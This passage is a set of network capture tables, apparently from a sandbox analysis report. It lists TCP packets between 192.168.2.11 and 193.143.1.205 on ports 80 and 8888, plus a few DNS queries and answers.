Jan 10, 2025 17:32:14.550638914 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.550642014 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550661087 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550676107 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550679922 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.550693989 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550708055 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.550712109 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550730944 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550749063 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.550753117 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550770998 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550787926 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550795078 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.550806999 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550827980 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.550831079 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.550869942 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.553210020 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.553275108 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.553292036 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.553308010 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.553312063 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.553327084 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.553343058 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.553345919 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.553384066 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.559765100 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.559799910 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.559815884 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.559830904 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.559833050 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.559848070 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.559865952 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.559884071 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.559886932 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.559899092 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.559992075 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.560009956 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.560024977 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.560029030 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.560044050 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.560056925 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.560164928 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.560224056 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.560224056 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.560241938 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.560276985 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.560291052 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.560327053 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.560343981 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.560363054 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.560390949 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.560406923 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.560422897 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.560436964 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.560436964 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.560462952 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.584969997 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.584990025 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.585009098 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.585036993 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.585055113 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.585069895 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.585082054 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.585087061 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.585118055 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.585163116 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.591454983 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.599997997 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.604501009 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.604579926 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.604597092 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.604614973 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.604621887 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.604631901 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.604648113 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.604650021 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.604669094 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.604686022 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.604706049 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.604741096 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.604764938 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.604840040 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.604856014 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.604871035 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.604877949 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.604887962 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.604908943 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.604912043 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.604944944 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.604950905 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.604979038 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.605015993 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.616926908 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.616980076 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.616995096 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.617012024 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.617021084 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.617027998 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.617050886 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.617116928 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.617132902 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.617150068 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.617156982 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.617167950 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.617183924 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.617191076 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.617199898 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.617217064 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.617222071 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.617239952 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.617255926 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.617259979 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.617295980 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.637666941 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.637701988 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.637726068 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.637742043 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.637744904 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.637758970 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.637775898 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.637777090 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.637794018 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.637809992 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.637815952 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.637845993 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.638654947 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.638672113 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.638689041 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.638712883 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.638712883 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.638731956 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.638746977 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.638756037 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.638762951 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.638778925 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.638783932 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.638794899 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.638809919 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.638813019 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.638828993 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.638847113 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.638849974 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.638875008 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.638890028 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.638897896 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.638910055 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.638926029 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.638928890 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.638942957 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.638958931 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.638961077 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.639003038 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.639043093 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639066935 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639084101 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639098883 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639101982 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.639115095 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639141083 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.639148951 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639185905 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.639251947 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639266968 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639281988 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639297962 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639300108 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.639334917 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639336109 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.639352083 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639368057 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639384985 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639393091 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.639426947 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.639568090 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639581919 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639601946 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639616013 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639617920 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.639640093 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.639700890 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639786005 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639801025 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639816999 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639830112 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.639837027 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639884949 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.639929056 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639946938 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639970064 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.639974117 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.639990091 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.640007019 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.640013933 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.640024900 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.640039921 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.640042067 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.640058041 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.640074968 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.640079021 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.640111923 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.640252113 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.640268087 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.640290976 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.640306950 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.640312910 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.640326023 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.640341043 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.640343904 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.640360117 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.640378952 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.648350954 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.648366928 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.648390055 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.648391962 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.648408890 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.648423910 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.648425102 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.648436069 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.648454905 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.648458004 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.648497105 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.648511887 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.648588896 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.648638010 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.648638964 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.648653030 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.648677111 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.648693085 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.648694038 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.648713112 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.648739100 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.648838043 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.648854017 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.648885012 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.673602104 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.673624039 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.673640966 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.673652887 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.673657894 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.673676014 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.673687935 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.673692942 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.673712015 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.673717022 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.673751116 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.684370041 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.693186045 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.693223000 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.693264008 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.693270922 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.693296909 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.693314075 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.693330050 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.693346977 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.693347931 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.693365097 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.693380117 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.693409920 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.693428993 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.693444967 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.693463087 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.693479061 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.693490982 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.693516016 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.693552971 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.693569899 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.693587065 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.693599939 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.693604946 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.693636894 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.705564976 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.705599070 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.705636978 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.705658913 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.705727100 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.705744982 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.705770016 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.705774069 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.705785990 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.705802917 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.705810070 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.705818892 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.705835104 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.705841064 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.705851078 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.705873013 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.705914974 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.705940962 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.705950022 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.705959082 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.705966949 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.706027985 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.726270914 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.726313114 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.726329088 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.726360083 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.726377964 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.726394892 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.726421118 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.726433992 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.726438046 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.726457119 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.726459026 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.726495028 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.727034092 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.727060080 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.727077961 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.727092028 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.727097034 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.727108002 CET	80	49778	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:14.727127075 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.770510912 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.810153961 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:14.971334934 CET	49778	80	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:15.484838009 CET	49794	8888	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:15.489687920 CET	8888	49794	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:15.489762068 CET	49794	8888	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:15.489928961 CET	49794	8888	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:15.494735956 CET	8888	49794	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:16.250634909 CET	8888	49794	193.143.1.205	192.168.2.11
Jan 10, 2025 17:32:16.301790953 CET	49794	8888	192.168.2.11	193.143.1.205
Jan 10, 2025 17:32:16.668334961 CET	49794	8888	192.168.2.11	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:32:23.559359074 CET	63066	53	192.168.2.11	1.1.1.1
Jan 10, 2025 17:32:37.664854050 CET	56992	53	192.168.2.11	1.1.1.1
Jan 10, 2025 17:32:52.367495060 CET	58902	53	192.168.2.11	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 17:32:23.559359074 CET	192.168.2.11	1.1.1.1	0x6654	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:32:37.664854050 CET	192.168.2.11	1.1.1.1	0x999	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:32:52.367495060 CET	192.168.2.11	1.1.1.1	0xe8d1	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 17:32:01.538815975 CET	1.1.1.1	192.168.2.11	0xfb7d	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
